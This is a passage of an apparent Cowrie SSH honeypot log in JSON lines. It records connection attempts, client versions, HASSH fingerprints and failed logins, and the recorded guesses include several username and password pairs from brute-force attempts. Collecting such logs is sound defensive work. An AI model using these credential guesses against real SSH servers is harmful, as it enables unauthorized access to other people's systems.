84","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:03:13.727388Z","src_ip":"190.167.237.191","session":"576de5b70d79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"124578","message":"login attempt [root/124578] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:03:14.033455Z","src_ip":"190.167.237.191","session":"576de5b70d79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:03:15.106477Z","src_ip":"190.167.237.191","session":"576de5b70d79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":51832,"dst_ip":"159.203.135.109","dst_port":22,"session":"42756fcc5781","protocol":"ssh","message":"New connection: 88.147.30.59:51832 (159.203.135.109:22) [session: 42756fcc5781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:03:30.274456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:03:30.279312Z","src_ip":"88.147.30.59","session":"42756fcc5781","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:03:30.400112Z","src_ip":"88.147.30.59","session":"42756fcc5781","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"raspi","message":"login attempt [root/raspi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:03:30.915277Z","src_ip":"88.147.30.59","session":"42756fcc5781","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:03:32.041835Z","src_ip":"88.147.30.59","session":"42756fcc5781","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":44218,"dst_ip":"159.203.135.109","dst_port":22,"session":"164bd81caa11","protocol":"ssh","message":"New connection: 124.155.125.131:44218 (159.203.135.109:22) [session: 164bd81caa11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:03:40.493480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:03:40.497902Z","src_ip":"124.155.125.131","session":"164bd81caa11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.161.235.168","src_port":60818,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcada22d2064","protocol":"ssh","message":"New connection: 221.161.235.168:60818 (159.203.135.109:22) [session: bcada22d2064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:03:40.590352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:03:40.595063Z","src_ip":"221.161.235.168","session":"bcada22d2064","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:03:40.676891Z","src_ip":"124.155.125.131","session":"164bd81caa11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:03:40.792730Z","src_ip":"221.161.235.168","session":"bcada22d2064","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"grep","message":"login attempt [root/grep] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:03:41.406291Z","src_ip":"124.155.125.131","session":"164bd81caa11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:03:41.613752Z","src_ip":"221.161.235.168","session":"bcada22d2064","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:03:42.584349Z","src_ip":"124.155.125.131","session":"164bd81caa11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:03:42.814410Z","src_ip":"221.161.235.168","session":"bcada22d2064","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.49","src_port":39478,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac931f7d29bb","protocol":"ssh","message":"New connection: 165.154.6.49:39478 (159.203.135.109:22) [session: ac931f7d29bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:03:54.648069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:03:54.652730Z","src_ip":"165.154.6.49","session":"ac931f7d29bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:03:54.870985Z","src_ip":"165.154.6.49","session":"ac931f7d29bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pic","message":"login attempt [root/pic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:03:55.762593Z","src_ip":"165.154.6.49","session":"ac931f7d29bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:03:56.980390Z","src_ip":"165.154.6.49","session":"ac931f7d29bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":50458,"dst_ip":"159.203.135.109","dst_port":22,"session":"6173c7b839ec","protocol":"ssh","message":"New connection: 139.59.208.49:50458 (159.203.135.109:22) [session: 6173c7b839ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:03.800637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:03.807026Z","src_ip":"139.59.208.49","session":"6173c7b839ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:03.895279Z","src_ip":"139.59.208.49","session":"6173c7b839ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:04.275666Z","src_ip":"139.59.208.49","session":"6173c7b839ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:05.373466Z","src_ip":"139.59.208.49","session":"6173c7b839ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.45","src_port":44450,"dst_ip":"10.17.0.5","dst_port":22,"session":"54eed082e3ec","protocol":"ssh","message":"New connection: 176.65.132.45:44450 (10.17.0.5:22) [session: 54eed082e3ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:16.403904Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:16.408921Z","src_ip":"176.65.132.45","session":"54eed082e3ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.45","src_port":44458,"dst_ip":"10.17.0.5","dst_port":22,"session":"24c54c64e0a1","protocol":"ssh","message":"New connection: 176.65.132.45:44458 (10.17.0.5:22) [session: 24c54c64e0a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:16.518457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:16.524228Z","src_ip":"176.65.132.45","session":"24c54c64e0a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:16.606661Z","src_ip":"176.65.132.45","session":"24c54c64e0a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:16.774675Z","src_ip":"176.65.132.45","session":"24c54c64e0a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:17.860790Z","src_ip":"176.65.132.45","session":"24c54c64e0a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.161.235.168","src_port":44256,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e65fce4d94e","protocol":"ssh","message":"New connection: 221.161.235.168:44256 (159.203.135.109:22) [session: 7e65fce4d94e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:19.861702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:19.867459Z","src_ip":"221.161.235.168","session":"7e65fce4d94e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:20.065840Z","src_ip":"221.161.235.168","session":"7e65fce4d94e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:20.261616Z","src_ip":"8.218.166.49","session":"29db1acbaea6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:20.888611Z","src_ip":"221.161.235.168","session":"7e65fce4d94e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:22.090200Z","src_ip":"221.161.235.168","session":"7e65fce4d94e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.167.237.191","src_port":51628,"dst_ip":"159.203.135.109","dst_port":22,"session":"09a35e19979d","protocol":"ssh","message":"New connection: 190.167.237.191:51628 (159.203.135.109:22) [session: 09a35e19979d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:31.366326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:04:31.371187Z","src_ip":"190.167.237.191","session":"09a35e19979d","protocol":"ssh"}
